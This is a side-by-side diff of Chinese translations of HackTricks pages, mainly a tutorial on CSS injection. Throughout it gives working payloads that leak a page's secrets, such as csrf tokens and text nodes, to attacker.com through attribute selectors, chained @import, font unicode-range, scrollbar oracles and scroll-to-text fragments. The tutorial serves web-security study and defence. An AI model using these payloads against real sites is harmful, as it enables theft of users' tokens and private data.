当后端**使用正则表达式检查用户输入**时,可能会出现**输入**被**规范化**用于**正则表达式**,但**未**用于其被**使用**的地方。例如,在 Open Redirect 或 SSRF 中,正则表达式可能会**规范化发送的 URL**,但随后**按原样访问它** 当后端**使用正则表达式检查用户输入**时,可能会出现**输入**被**规范化用于正则表达式**,但**未**用于其**实际使用**的情况。例如,在开放重定向或 SSRF 中,正则表达式可能会**规范化发送的 URL**,但然后**按原样访问**它
工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许**生成输入的变体**以 fuzz 后端。更多信息请查看 **github** 和这篇 [**文章**](https://0xacb.com/2022/11/21/recollapse/). 工具 [**recollapse**](https://github.com/0xacb/recollapse) 允许**生成输入的变体**以对后端进行模糊测试。有关更多信息,请查看**github**和此[**文章**](https://0xacb.com/2022/11/21/recollapse/).
## 参考资料
**本页的所有信息取自:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
**其他参考资料:**
# 参考资料
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) * [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) * [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html) * [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> 从零开始学习 AWS 黑客攻击</strong></summary> <summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 系列 * 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFT**](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧** * 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>

View file

@ -1,24 +1,24 @@
# CSS 注入 # CSS注入
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您希望在 **HackTricks 中看到您的公司广告****下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord **](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## CSS 注入 ## CSS注入
### 属性选择器 ### 属性选择器
通过 CSS 注入泄露信息的主要技术是尝试**使用 CSS 匹配文本**,如果**文本存在****加载一些外部资源,例如:** CSS选择器被设计用来匹配`input`元素的`name`和`value`属性的值。如果输入元素的value属性以特定字符开头将加载预定义的外部资源
```css ```css
input[name=csrf][value^=a]{ input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a); background-image: url(https://attacker.com/exfil/a);
@ -31,27 +31,28 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9); background-image: url(https://attacker.com/exfil/9);
} }
``` ```
```markdown 然而,当处理隐藏的输入元素(`type="hidden"`)时,这种方法会面临限制,因为隐藏元素不会加载背景。
然而,请注意,如果在示例中,**csrf name input** 是**隐藏类型**(它们通常是),那么这种技术将不起作用,因为背景不会被加载。\
然而,你可以通过一个简单的方法来**绕过**这个障碍,而不是让隐藏元素加载背景,**只需让其后的任何内容加载背景:** #### 针对隐藏元素的绕过方法
```
为了规避这种限制,您可以使用`~`通用兄弟选择器来定位后续的兄弟元素。然后CSS规则将应用于隐藏输入元素后面的所有兄弟元素从而导致背景图片加载
```css ```css
input[name=csrf][value^=csrF] ~ * { input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF); background-image: url(https://attacker.com/exfil/csrF);
} }
``` ```
一些利用此漏洞的代码示例:[https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) #### CSS注入的先决条件
#### 先决条件 要使CSS注入技术有效必须满足以下条件
1. CSS注入需要允许足够长的有效载荷 1. **负载长度**CSS注入向量必须支持足够长的负载以容纳精心设计的选择器。
2. 能够**构建页面以触发新生成的有效载荷的CSS重新评估** 2. **CSS重新评估**您应该有框架页面的能力这是触发使用新生成的负载重新评估CSS的必要条件。
3. 能够使用**外部托管的图片**可能会被CSP阻止 3. **外部资源**该技术假定能够使用外部托管的图像。这可能会受到网站内容安全策略CSP的限制。
### 盲属性选择器 ### 盲属性选择器
如[**此帖子所解释**](https://portswigger.net/research/blind-css-exfiltration),可以结合使用选择器**`:has`** 和 **`:not`** 来识别即使是盲元素中的内容。当你不知道加载CSS注入的网页内部是什么时非常有用。\ 正如[**在这篇文章中解释的**](https://portswigger.net/research/blind-css-exfiltration),可以结合选择器**`:has`**和**`:not`**来识别甚至来自盲目元素的内容。当您不知道加载CSS注入的网页中有什么内容时这将非常有用。\
也可以使用这些选择器从同一类型的多个块中提取信息,如下 还可以使用这些选择器从多个相同类型的块中提取信息,就像在以下示例中所示
```html ```html
<style> <style>
html:has(input[name^="m"]):not(input[name="mytoken"]) { html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -61,34 +62,34 @@ background:url(/m);
<input name=mytoken value=1337> <input name=mytoken value=1337>
<input name=myname value=gareth> <input name=myname value=gareth>
``` ```
结合以下**@import** 技术,可以通过 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration) **从盲目页面使用 CSS 注入泄露大量信息。** 结合以下**@import**技术,可以利用**blind-css-exfiltration**从盲目页面中注入CSS来窃取大量信息。
### @import ### @import
述技术有一些局限,请检查先决条件。你需要能够**向受害者发送多个链接**,或者你需要能够**在 CSS 注入漏洞页面使用 iframe**。 一种技术有一些缺点,请检查先决条件。您需要能够**向受害者发送多个链接**,或者您需要能够**将CSS注入漏洞页面嵌入到iframe中**。
然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术质量。 然而,还有另一种巧妙的技术,使用**CSS `@import`**来提高技术质量。
最初是由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) 展示的,其工作原理如下: 是由[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)首次展示的,工作原理如下:
我们不是像之前那样一次又一次地加载同一个页面,并且每次都使用数十个不同的有效载荷,而是**只加载页面一次,只导入攻击者服务器的内容**(这是发送给受害者的有效载荷 与其一次又一次地加载同一页面,每次加载时使用数十种不同的有效负载(就像前一种技术中那样),我们将**仅加载一次页面,并仅通过导入到攻击者服务器**(这是要发送给受害者的有效负载
```css ```css
@import url('//attacker.com:5001/start?'); @import url('//attacker.com:5001/start?');
``` ```
1. 导入将**从攻击者那里接收一些CSS脚本****浏览器将加载它**。 1. 导入将**接收来自攻击者的一些 CSS 脚本****浏览器将加载它**。
2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。 2. 攻击者将发送的 CSS 脚本的第一部分是**再次向攻击者服务器发送另一个 `@import`**。
3. 攻击者的服务器暂时不会响应这个请求,因为我们想要先泄露一些字符,然后用载荷响应这个导入,以泄露下一些字符。 3. 攻击者服务器暂时不会响应此请求,因为我们希望泄漏一些字符,然后响应此导入以泄漏下一个字符。
4. 载荷的第二部分,也是更大的部分,将是一个**属性选择器泄露载荷**。 4. 负载的第二部分和更大部分将是**属性选择器泄漏负载**。
5. 这将向攻击者服务器发送**秘密的第一个字符和最后一个字符**。 5. 这将向攻击者服务器发送**秘密的第一个字符和最后一个字符**。
6. 一旦攻击者服务器收到**秘密的第一个和最后一个字符**,它将**响应第2步中请求的导入**。 6. 一旦攻击者服务器收到**秘密的第一个和最后一个字符**,它将**响应步骤 2 中请求的导入**。
7. 响应将与**第2、3和4步**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**。 7. 响应将与**步骤 2、3 和 4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个字符**。
攻击者将**继续这个循环,直到完全泄露出秘密**。 攻击者将**跟随该循环,直到成功完全泄漏秘密**。
您可以在这里找到原始的[**Pepe Vila的利用代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以找到几乎[**相同的代码但有注释在这里**。](./#css-injection) 您可以在此处找到原始的[**Pepe Vila 利用此漏洞的代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您几乎可以在[**此处找到相同的代码但有注释**。](./#css-injection)
{% hint style="info" %} {% hint style="info" %}
脚本将尝试每次发现2个字符从开头和结尾因为属性选择器允许做类似的事情 该脚本将尝试每次发现 2 个字符(从开头和末尾)因为属性选择器允许执行以下操作
```css ```css
/* value^= to match the beggining of the value*/ /* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -96,30 +97,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/ /* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
``` ```
允许脚本更快地泄露秘密。 样可以更快地泄露秘密。
{% endhint %} {% endhint %}
{% hint style="warning" %} {% hint style="warning" %}
有时脚本**无法正确检测到已发现的前缀+后缀已经是完整的标志**,它会继续向前(在前缀中)和向后(在后缀中),并且在某个时刻它会挂起。\ 有时脚本**无法正确检测到已发现的前缀 + 后缀已经是完整的标志**,它会继续向前(在前缀中)和向后(在后缀中)移动,最终会卡住。\
不用担心,只需检查**输出**,因为**你可以在那里看到标志**。 担心,只需检查**输出**,因为**你可以在那里看到标志**。
{% endhint %} {% endhint %}
### 其他选择器 ### 其他选择器
使用**CSS选择器**访问DOM部分的其他方法 使用**CSS选择器**访问DOM部分的其他方法
* **`.class-to-search:nth-child(2)`**: 这将搜索DOM中具有"class-to-search"类的第二个项目。 * **`.class-to-search:nth-child(2)`**这将在DOM中搜索具有类“class-to-search”的第二个项目。
* **`:empty`** 选择器:例如在[**这篇文章**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:** * **`:empty`** 选择器:例如在[**此解析**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
```css ```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
``` ```
### 基于错误的XS-搜索 ### 基于错误的XS-Search
**参考资料** [基于CSS的攻击滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [由@terjanq提供的基于错误的XS-搜索概念验证](https://twitter.com/terjanq/status/1180477124861407234) **参考:**[基于CSS的攻击滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)[@terjanq的基于错误的XS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234)
基本思想是**使用我们控制的端点的自定义字体**在**如果资源无法加载将显示的文本中**。 总体意图是**使用来自受控端点的自定义字体**,并确保**仅当无法加载指定资源(`favicon.ico`)时,文本(在本例中为'A')才会显示为此字体**。
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -127,7 +128,7 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
<style> <style>
@font-face{ @font-face{
font-family: poc; font-family: poc;
src: url(http://ourenpoint.com/?leak); src: url(http://attacker.com/?leak);
unicode-range:U+0041; unicode-range:U+0041;
} }
@ -143,50 +144,46 @@ font-family: 'poc';
</body> </body>
</html> </html>
``` ```
1. **自定义字体使用**:
- 使用`<style>``<head>`使`@font-face`
- 字体命名为`poc`,从外部端点(`http://attacker.com/?leak`)获取。
- 将`unicode-range`属性设置为`U+0041`目标是特定的Unicode字符'A'。
2. **带备用文本的对象元素**:
- 在`<body>`部分创建一个带有`id="poc0"`的`<object>`元素。该元素尝试从`http://192.168.0.1/favicon.ico`加载资源。
- 为该元素设置`font-family`为`'poc'`,如在`<style>`
- 如果资源(`favicon.ico`)加载失败,`<object>`标签内的备用内容(字母'A')将被显示。
- 如果无法加载外部资源,则备用内容('A')将使用自定义字体`poc`进行呈现。
### 样式化滚动到文本片段 ### 样式化滚动到文本片段
当一个**URL片段定位到一个元素**时,[**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 伪类**可以被用来**选择它,但是**`::target-text` 不匹配任何东西**。它只匹配那些被\[片段]直接定位的文本。 使用**`:target`**伪类来选择被**URL片段**定位的元素,如[CSS选择器级别4规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo)中所述。需要理解的是,除非文本被片段明确定位,否则`::target-text`不会匹配任何元素
因此,攻击者可以使用**滚动到文本**片段,如果**找到了**包含那段文本的内容,我们可以**加载资源**(通过**HTML注入**)从攻击者的服务器来指示它: 当攻击者利用**滚动到文本**片段功能时会引发安全问题允许他们通过HTML注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入类似以下内容的CSS规则:
```css ```css
:target::before { content : url(target.png) } :target::before { content : url(target.png) }
``` ```
```markdown 在这种情况下,如果页面上存在文本"管理员",则会从服务器请求资源`target.png`表示文本的存在。可以通过一个特制的URL执行这种攻击实例其中嵌入了注入的CSS以及一个滚动到文本片段
这种攻击的一个例子可能是:
{% code overflow="wrap" %}
```
``` ```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
``` ```
{% endcode %} 在这种攻击中通过HTML注入传输CSS代码针对特定文本“Administrator”使用Scroll-to-text片段 (`#:~:text=Administrator`)。如果找到该文本,指定的资源将被加载,无意中向攻击者发出其存在的信号。
这是通过**发送代码滥用HTML注入** 为了减轻风险,应注意以下几点
{% code overflow="wrap" %} 1. **受限的STTF匹配**Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制其泄露任意机密信息或令牌的能力。
```css 2. **限制为顶层浏览上下文**STTF仅在顶层浏览上下文中运行并不在iframe内起作用使得任何利用尝试更容易被用户察觉。
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style> 3. **需要用户激活**STTF需要用户激活手势才能运行这意味着利用只能通过用户发起的导航来实现。这一要求极大地减轻了攻击在没有用户交互的情况下自动化的风险。然而博客作者指出了特定条件和绕过方式例如社会工程、与常见浏览器扩展的交互可能会促使攻击的自动化。
```
{% endcode %}
使用滚动到文本片段:**`#:~:text=Administrator`** 了解这些机制和潜在漏洞对于维护网络安全并防范此类攻击策略至关重要。
如果找到单词Administrator将加载指示的资源。 欲了解更多信息,请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
有三个主要的缓解措施: 您可以在这里检查一个[**使用此技术进行CTF的利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
1. **STTF只能匹配网页上的单词或句子**,理论上使其无法泄露随机的秘密或令牌(除非我们将秘密分解成一个字母的段落)。
2. 它**仅限于顶级浏览上下文**因此它不会在iframe中工作使得攻击**对受害者可见**。
3. **需要用户激活动作才能使STTF工作**因此只有用户操作结果的导航才能被利用这大大降低了在没有用户互动的情况下自动化攻击的可能性。然而上述博客文章的作者发现了某些条件这些条件有助于攻击的自动化。另一个类似的案例将在PoC#3中呈现。
1. 有一些**绕过**方法,如**社会工程学**,或**强迫常见的浏览器扩展进行交互**。
更多信息请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
您可以在这里查看使用此技术的[**CTF利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
您可以指定**特定unicode值的外部字体**只有当这些unicode值出现在页面上时才会**收集**。例如: 您可以为特定Unicode值指定**外部字体**仅当这些Unicode值存在于页面中时才会**收集**。例如:
```html ```html
<style> <style>
@font-face{ @font-face{
@ -211,39 +208,50 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm <p id="sensitive-information">AB</p>htm
``` ```
当你访问这个页面时Chrome和Firefox会获取"?A"和"?B"因为sensitive-information的文本节点包含"A"和"B"字符。但是Chrome和Firefox不会获取"?C",因为它不包含"C"。这意味着我们已经能够读取"A"和"B"。 ### 文本节点外泄I连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### 文本节点泄露I连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**参考资料:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) **参考资料:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
我们可以使用一种结合了**连字**和**宽度变化检测**的技术来提取节点中的文本。这项技术背后的主要思想是创建包含预定义连字的**高尺寸**字体,并使用**尺寸变化作为甲骨文**。 描述的技术涉及通过利用字体连字从节点中提取文本,并监视宽度的变化。该过程涉及几个步骤:
字体可以作为SVG字体创建然后用fontforge转换为woff。在SVG中我们可以通过**horiz-adv-x**属性定义字形的宽度,因此我们可以构建类似`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`的东西,**XY是两个字符的序列**。**如果序列存在,它将被渲染,文本的尺寸将会改变**。但是...我们如何检测这些变化呢? 1. **创建自定义字体**
- 使用具有`horiz-adv-x`属性的字形制作SVG字体该属性为代表两个字符序列的字形设置了较大的宽度。
- 示例SVG字形`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中"XY"表示两个字符序列。
- 然后使用fontforge将这些字体转换为woff格式。
当属性white-space被定义为**nowrap**时,它会强制文本在超出父元素宽度时不换行。在这种情况下,将会出现**水平滚动条**。我们可以**定义该滚动条的样式**,因此我们可以在这种情况发生时泄露信息 **:)** 2. **检测宽度变化**
- 使用CSS确保文本不换行`white-space: nowrap`)并自定义滚动条样式。
- 水平滚动条的出现以独特的样式呈现作为指示器oracle表明文本中存在特定的连字因此存在特定的字符序列。
- 涉及的CSS
```css ```css
body { white-space: nowrap }; body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
``` ```
此时攻击方法已清晰:
1. 为**两个字符的组合创建宽度巨大的字体** 3. **利用过程**
2. 通过**滚动条技巧**检测**泄露** - **步骤1**:为具有相当宽度的字符对创建字体。
3. 使用泄露的第一个连字作为基础,创建**新的三个字符的组合**(在字符前/后添加) - **步骤2**:采用基于滚动条的技巧来检测何时呈现了大宽度字形(字符对的连字),表明字符序列存在。
4. **检测**这个**三字符连字** - **步骤3**:在检测到连字时,生成代表三个字符序列的新字形,将检测到的对加入并添加前导或后继字符。
5. 重复直到**泄露整个文本** - **步骤4**:进行三字符连字的检测。
- **步骤5**:该过程重复,逐渐揭示整个文本。
我们仍然需要一个改进的方法来开始迭代,因为 `<meta refresh=...` 是次优的。你可以使用 **CSS @import 技巧来优化利用** 4. **优化**
- 当前的初始化方法使用`<meta refresh=...`并不是最佳的。
- 更有效的方法可能涉及使用CSS的`@import`技巧,增强利用的性能。
### 文本节点渗透(二):使用默认字体泄露字符集(不需要外部资源)<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄II使用默认字体泄露字符集无需外部资源 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考** [使用Comic Sans字体的PoC作者 @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) **参考资料:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
这个技巧在这个 [**Slackers帖子**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) 中发布。可以使用浏览器中安装的**默认字体**泄露文本节点中使用的字符集:不需要外部或自定义字体。 这个技巧是在这个[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)中发布。可以使用浏览器中安装的**默认字体**泄露文本节点中使用的字符集:不需要外部 -或自定义- 字体。
关键是使用动画将**div宽度从0增长到文本末尾**每次增加一个字符的大小。这样我们可以将文本分为两部分“前缀”第一行和“后缀”所以每次div宽度增加时一个新字符就会从“后缀”移动到“前缀”。类似于 这个概念围绕着利用动画逐渐扩展`div`的宽度,允许一个字符一次从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两部分:
1. **前缀**:初始行。
2. **后缀**:随后的行。
字符的过渡阶段如下所示:
**C**\ **C**\
ADB ADB
@ -256,14 +264,16 @@ B
**CADB** **CADB**
当一个新字符移动到第一行时,**unicode-range 技巧被用来检测前缀中的新字符**。这种检测是通过改变字体为Comic Sans来实现的其高度更高因此会**触发垂直滚动条**(泄露字符值)。这样我们可以一次泄露每一个不同的字符。**我们可以检测到字符是否重复,但无法知道重复的是哪个字符**。 在这个过渡过程中,**unicode-range技巧**被用来识别每个新字符加入前缀时。通过将字体切换为Comic Sans来实现这一点Comic Sans明显比默认字体高从而触发垂直滚动条。这个滚动条的出现间接地揭示了前缀中新字符的存在。
尽管这种方法允许检测字符逐个出现,但它并不指定重复的是哪个字符,只是发生了重复。
{% hint style="info" %} {% hint style="info" %}
基本上,**unicode-range 被用来检测一个字符**,但由于我们不想加载外部字体,我们需要找到另一种方式。\ 基本上,**unicode-range用于检测一个字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
当**字符**被**找到**时,它会被**赋予**预安装的**Comic Sans字体**,这会**使字符变大**并**触发滚动条**,从而**泄露找到的字符**。 当**找到字符**时,它会被赋予预安装的**Comic Sans字体**,这会使字符**变大**并**触发滚动条**,从而**泄露找到的字符**。
{% endhint %} {% endhint %}
从PoC中提取的代码 查从PoC中提取的代码
```css ```css
/* comic sans is high (lol) and causes a vertical overflow */ /* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;} @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -388,17 +398,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak); background: blue var(--leak);
} }
``` ```
### 文本节点泄露III通过隐藏元素使用默认字体泄露字符集不需要外部资源<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄III通过隐藏元素无需外部资产使用默认字体泄漏字符集<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考资料:** 这是在[这篇文章中提到的一个未成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考** 在[这篇文章中提到了这个方法并未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
个案例与前一个非常相似,然而,在这个案例中,使特定**字符比其他字符更大的目的是为了隐藏某些东西**,比如不想让机器人按的按钮或不会加载的图片。因此,我们可以通过测量动作(或缺乏动作)来知道文本中是否存在特定字符 种情况与前一种情况非常相似,但在这种情况下,使特定字符**比其他字符更大的目的是隐藏某些内容**,比如一个按钮,以免被机器人按下,或者一个不会被加载的图像。因此,我们可以测量行为(或缺乏行为),并知道特定字符是否存在于文本中
### 文本节点泄露III通过缓存时间泄露字符集不需要外部资源<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄III通过缓存时间泄漏字符集无需外部资产<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考资料:** 这是在[这篇文章中提到的一个未成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考** 在[这篇文章中提到了这个方法并未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,我们可以尝试通过从同一来源加载假字体来泄露文本中是否存在某个字符: 在这种情况下,我们可以尝试通过从相同来源加载假字体来泄漏文本中是否存在某个字符:
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -406,15 +416,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041; unicode-range: U+0041;
} }
``` ```
如果匹配**字体将从 `/static/bootstrap.min.css?q=1` 加载**。尽管它可能无法成功加载,**浏览器应该会缓存它**,即使没有缓存,也有**304未修改**机制,所以**响应应该比其他内容更快**。 如果匹配成功,**字体将从`/static/bootstrap.min.css?q=1`加载**。虽然加载不会成功,**浏览器应该会缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应速度应该比其他内容更快**。
